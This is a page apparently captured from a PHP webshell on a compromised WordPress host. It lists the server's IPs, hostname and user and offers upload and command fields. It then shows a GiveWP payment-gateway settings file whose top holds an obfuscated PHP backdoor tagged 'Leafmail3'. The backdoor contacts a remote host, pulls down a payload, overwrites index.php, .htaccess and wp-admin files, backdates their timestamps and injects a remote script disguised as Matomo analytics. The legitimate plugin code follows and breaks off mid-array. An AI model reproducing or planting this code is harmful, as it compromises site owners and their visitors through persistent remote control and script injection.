403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.145.90.123
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/task/7779/cwd/plugins/give/includes/admin/settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/task/7779/cwd/plugins/give/includes/admin/settings/class-settings-gateways.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php

/**
 * Give Settings Page/Tab
 *
 * @package     Give
 * @since       1.8
 * @copyright   Copyright (c) 2016, GiveWP
 * @license     http://opensource.org/licenses/gpl-2.0.php GNU Public License
 * @subpackage  Classes/Give_Settings_Gateways
 */

use Give\DonationForms\V2\DonationFormsAdminPage;
use Give\PaymentGateways\PayPalCommerce\Repositories\MerchantDetails;
use Give\PaymentGateways\Stripe\Admin\AccountManagerSettingField;

if (! defined('ABSPATH')) {
    exit; // Exit if accessed directly
}

if (! class_exists('Give_Settings_Gateways')) :

    /**
     * Give_Settings_Gateways.
     *
     * @sine 1.8
     */
    class Give_Settings_Gateways extends Give_Settings_Page
    {
        /**
         * Constructor.
         */
        public function __construct()
        {
            $this->id    = 'gateways';
            $this->label = esc_html__('Payment Gateways', 'give');

            $this->default_tab = 'gateways-settings';

            parent::__construct();

            // Do not use main form for this tab.
            if (give_get_current_setting_tab() === $this->id) {
                add_action('give_admin_field_gateway_notice', [$this, 'render_gateway_notice'], 10, 2);
                add_action('give_admin_field_enabled_gateways', [$this, 'render_enabled_gateways'], 10, 2);
            }
        }

        /**
         * Get settings array.
         *
         * @since  1.8
         * @return array
         */
        public function get_settings()
        {
            $settings        = [];
            $current_section = give_get_current_setting_section();

            switch ($current_section) {
                case 'offline-donations':
                    $settings = [
                        // Section 3: Offline gateway.
                        [
                            'type' => 'title',
                            'id'   => 'give_title_gateway_settings_3',
                        ],
                        [
                            'name'    => __('Collect Billing Details', 'give'),
                            'desc'    => __('If enabled, required billing address fields are added to Offline Donation forms. These fields are not required to process the transaction, but you may have a need to collect the data. Billing address details are added to both the donation and donor record in GiveWP. ', 'give'),
                            'id'      => 'give_offline_donation_enable_billing_fields',
                            'type'    => 'radio_inline',
                            'default' => 'disabled',
                            'options' => [
                                'enabled'  => __('Enabled', 'give'),
                                'disabled' => __('Disabled', 'give'),
                            ],
                        ],
                        [
                            'name'    => __('Offline Donation Instructions', 'give'),
                            'desc'    => __('The Offline Donation Instructions are a chance for you to educate the donor on how to best submit offline donations. These instructions appear directly on the form, and after submission of the form. Note: You may also customize the instructions on individual forms as needed.', 'give'),
                            'id'      => 'global_offline_donation_content',
                            'default' => give_get_default_offline_donation_content(),
                            'type'    => 'wysiwyg',
                            'options' => [
                                'textarea_rows' => 6,
                            ],
                        ],
                        [
                            'name'  => esc_html__('Offline Donations Settings Docs Link', 'give'),
                            'id'    => 'offline_gateway_settings_docs_link',
                            'url'   => esc_url('http://docs.givewp.com/offlinegateway'),
                            'title' => __('Offline Gateway Settings', 'give'),
                            'type'  => 'give_docs_link',
                        ],
                        [
                            'type' => 'sectionend',
                            'id'   => 'give_title_gateway_settings_3',
                        ],
                    ];
                    break;

                case 'gateways-settings':
                    $settings = [
                        // Section 1: Gateways.
                        [
                            'id' => 'give_title_gateway_settings_1',
                            'type' => 'title',
                        ],
                        [
                            'id' => 'gateway_notice',
                            'type' => 'gateway_notice',
                        ],
                        [
                            'name' => __('Test Mode', 'give'),
                            'desc' => __(
                                'If enabled, donations are processed through the sandbox/test accounts configured in each gateway\'s settings. This prevents having to use real money for tests. See the payment gateway documentation for instructions on configuring sandbox accounts.',
                                'give'
                            ),
                            'id' => 'test_mode',
                            'type' => 'radio_inline',
                            'default' => 'disabled',
                            'options' => [
                                'enabled' => __('Enabled', 'give'),
                                'disabled' => __('Disabled', 'give'),
                            ],
                        ],
                        [
                            'name' => __('Enabled Gateways', 'give') . ' - v2',
                            'desc' => __('Enable your payment gateway. Can be ordered by dragging.', 'give'),
                            'id' => 'gateways',
                            'type' => 'enabled_gateways',
                        ],
                        [
                            'name' => __('Enabled Gateways', 'give') . ' - v3',
                            'desc' => __('Enable your payment gateway. Can be ordered by dragging.', 'give'),
                            'id' => 'gateways_v3',
                            'type' => 'enabled_gateways_hidden',
                        ],

                        /**
                         * "Enabled Gateways" setting field contains gateways label setting but when you save gateway settings then label will not save
                         *  because this is not registered setting API and code will not recognize them.
                         *
                         * This setting will not render on admin setting screen but help internal code to recognize "gateways_label"  setting and add them to give setting when save.
                         */
                        [
                            'name' => __('Gateways Label', 'give') . ' - v2',
                            'desc' => '',
                            'id' => 'gateways_label',
                            'type' => 'gateways_label_hidden',
                        ],
                        [
                            'name' => __('Gateways Label', 'give') . ' - v3',
                            'desc' => '',
                            'id' => 'gateways_label_v3',
                            'type' => 'gateways_label_hidden',
                        ],

                        /**
                         * "Enabled Gateways" setting field contains default gateway setting but when you save gateway settings then this setting will not save
                         *  because this is not registered setting API and code will not recognize them.
                         *
                         * This setting will not render on admin setting screen but help internal code to recognize "default_gateway"  setting and add them to give setting when save.
                         */
                        [
                            'name' => __('Default Gateway', 'give') . ' - v2',
                            'desc' => __('The gateway that will be selected by default.', 'give'),
                            'id' => 'default_gateway',
                            'type' => 'default_gateway_hidden',
                        ],
                        [
                            'name' => __('Default Gateway', 'give') . ' - v3',
                            'desc' => __('The gateway that will be selected by default.', 'give'),
                            'id' => 'default_gateway_v3',
                            'type' => 'default_gateway_hidden',
                        ],

                        [
                            'name' => __('Gateways Docs Link', 'give'),
                            'id' => 'gateway_settings_docs_link',
                            'url' => esc_url('http://docs.givewp.com/settings-gateways'),
